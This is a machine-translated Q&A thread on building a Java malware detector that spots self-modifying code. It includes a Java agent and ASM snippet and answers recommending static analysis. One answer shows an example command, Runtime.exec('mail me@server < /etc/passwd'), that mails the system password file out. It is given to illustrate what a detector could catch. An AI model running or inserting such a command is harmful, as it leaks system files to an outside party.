Java-манипулирование байт-кодом / инструкциями программы / самоопределение кода обнаружения

В основном я пытаюсь создать программу обнаружения вредоносных программ в Java, которая обнаруживает самоизменяющийся код, программа должна запустить файл JAR и определить, содержит ли он самоизменяющийся код

Один из способов, который я подумал сделать, это получить начальный байт-код файла.class и сравнить его с байт-кодом работающего приложения, байт-код работающего файла.class должен быть таким же, как и изначально, если байт-код отличается в определенный момент это будет означать, что программа изменяет свою собственную структуру

вопрос в том, как получить байт-код работающего приложения, я хочу получать байт-код каждые 0,1 секунды и сравнивать его с первоначальным байт-кодом.

есть ли вообще его получить?

Я попробовал это с использованием Java-агента и ASM, однако я мог получить только байт-код перед выполнением программы, а Java-агент запускается до выполнения основного метода программы.

 import org.objectweb.asm.ClassReader;
 import org.objectweb.asm.ClassWriter;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class asm {

    //java agent 
    public static void premain(String agentArgs, Instrumentation inst){
    inst.addTransformer(new ClassFileTransformer() {

        @Override
        public byte[] transform(ClassLoader classLoader, /*class name*/String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {

            if ("other/Stuff".equals(s)) {
                // ASM Code
                ClassReader reader = new ClassReader(bytes);
                ClassWriter writer = new ClassWriter(reader, 0);
                //ClassPrinter visitor = new ClassPrinter(writer);
                //reader.accept(visitor, 0);
                return writer.toByteArray();
            }
            //else{
                //System.out.println("class not loaded");
            return null;
            //}

        }
    })
}

этот код использует Java-агент и ASM, однако мне нужно знать, как мне получить байт-код приложения во время его выполнения. Кроме того, если бы кто-то мог предложить другой подход к идентификации самоизменяющегося кода в Java, я был бы признателен

заранее спасибо

3 ответа

Решение

В вашем вопросе есть несколько фундаментальных заблуждений. Прежде всего:

Если вы подозреваете, что код содержит вредоносное ПО, не запускайте его!

Существует область исследований для анализа поведения вредоносного ПО в "песочнице", но, поскольку для этого требуются тщательные меры, чтобы гарантировать, что программное обеспечение не может причинить какой-либо вред, который следует оставить экспертам в своей среде.

Стандартное программное обеспечение для обнаружения вредоносных программ работает путем анализа кода без (или до) его выполнения. Что приводит к вопросу, что искать:

Вредоносное ПО не обязательно должно содержать самоизменяющийся код, чтобы быть вредоносным

Характеристика вредоносного ПО заключается в выполнении непреднамеренных, вредоносных действий, и для того, чтобы они имели эффект, программе необходимо выполнить ввод-вывод или запустить другое программное обеспечение на вашем компьютере, например, чтобы нанести ущерб файлам, вам нужен файл I/O, чтобы рассылать спам или атаковать другие компьютеры, вам необходим сетевой ввод / вывод, для выполнения действий, не охватываемых Java API, вам нужно загрузить собственную библиотеку или запустить внешний процесс.

В отличие от этого, в Java изменение собственного кода не имеет никакого эффекта. Модифицированный код не может сделать ничего, чего не мог сделать оригинальный код, и, если модификация происходит на лету, он даже не оказывает постоянного побочного эффекта на вашу компьютерную среду. Таким образом, если код, пытающийся изменить свой собственный код, действительно является вредоносным, он может выполнять нужные действия напрямую, без этого косвенного обращения.

Кроме того, ваша идея повторной проверки кода обречена на провал, поскольку JVM не хранит оригинальный байт-код. Код хранится в зависимости от реализации, будучи оптимизирован для эффективного выполнения. Следовательно, когда агент запрашивает у JVM через API инструментария код класса, он не возвращает исходный код, а эквивалентный код, созданный путем преобразования внутренней формы кода.

На это указывает следующее утверждение:

Начальные байты файла класса представляют байты, переданные ClassLoader.defineClass или же redefineClasses (до того, как были применены какие-либо преобразования), однако они могут не совсем соответствовать им. Константный пул может не иметь такой же компоновки или содержимого. Постоянный пул может иметь больше или меньше записей. Записи пула констант могут быть в другом порядке; однако постоянные индексы пула в байт-кодах методов будут соответствовать. Некоторые атрибуты могут отсутствовать. Там, где порядок не имеет смысла, например порядок методов, порядок может не сохраняться.

Таким образом, вы не можете просто сравнить байтовые массивы, но должны проанализировать файл класса, чтобы смоделировать его семантику, и сравнить это с результатом предыдущей операции синтаксического анализа. Поэтому преобразование внутреннего представления кода JVM в файл класса не является бесплатным, добавьте его анализ и анализ, и вы хотите делать это для всех классов каждые 0,1 секунды - трудная работа.


В конце концов, в этом нет необходимости. С помощью параметров запуска вы можете контролировать, какие агенты будут запущены и возможно ли присоединение новых агентов. Без неизвестных агентов не будет незаконного использования Instrumentation API, а значит, и измененного кода.

Поскольку для истинного обнаружения вредоносных программ требуется статический анализ кода, чтобы выяснить, какие API используются (например, ввод / вывод, ProcessBuilderи т. д.), его легко проверить на предмет использования API инструментария или ClassLoaderтакже. И кроме нестандартных API (которые всегда должны вызывать флаги предупреждения), это единственно возможные способы ввода нового кода в JVM.

Более сложная задача состоит в том, чтобы выяснить, какие из этих API-интерфейсов являются законными, а какие - истинным признаком вредоносного ПО, и рассчитать потенциальную опасность для неизвестного программного обеспечения. Но это именно та задача, которую должно принять настоящее программное обеспечение для обнаружения вредоносных программ.

Самоизменяющийся код не возможен в Java. Ближе всего вы можете найти Java-агенты, но байт-код остается неизменным после загрузки класса. И все равно гораздо проще использовать отражение для запутывания.

Самый простой способ изменить байтовый код - через инструментарий. Это позволит вам отслеживать байт-код каждого класса по мере его загрузки, но вы не можете быть уверены, что другой инструмент Instrumentation не будет работать после вас. т.е. нет никакого способа быть уверенным, что вы смотрите на окончательный байт-код.

Также многие классы, включая лямбды и обработчики отражения, генерируются динамически, поэтому у вас нет никакого "оригинального" байтового кода для сравнения.

В качестве упражнения вы можете определить, был ли класс изменен при загрузке, с помощью предыдущего агента Instrumentation, получив байт-код из загрузчика классов и сравнив его.

Гораздо более простой способ создать вредоносную программу - выполнить команду через Runtime.exec.

Runtime.exec("mail me@server < /etc/passwd")

Вы можете обнаружить это поведение, проверив байт-код и не допуская этого.

В общем, вам нужна настоящая вредоносная программа, которую вы можете проанализировать, а затем обнаружить, что она делает.

Другие вопросы по тегам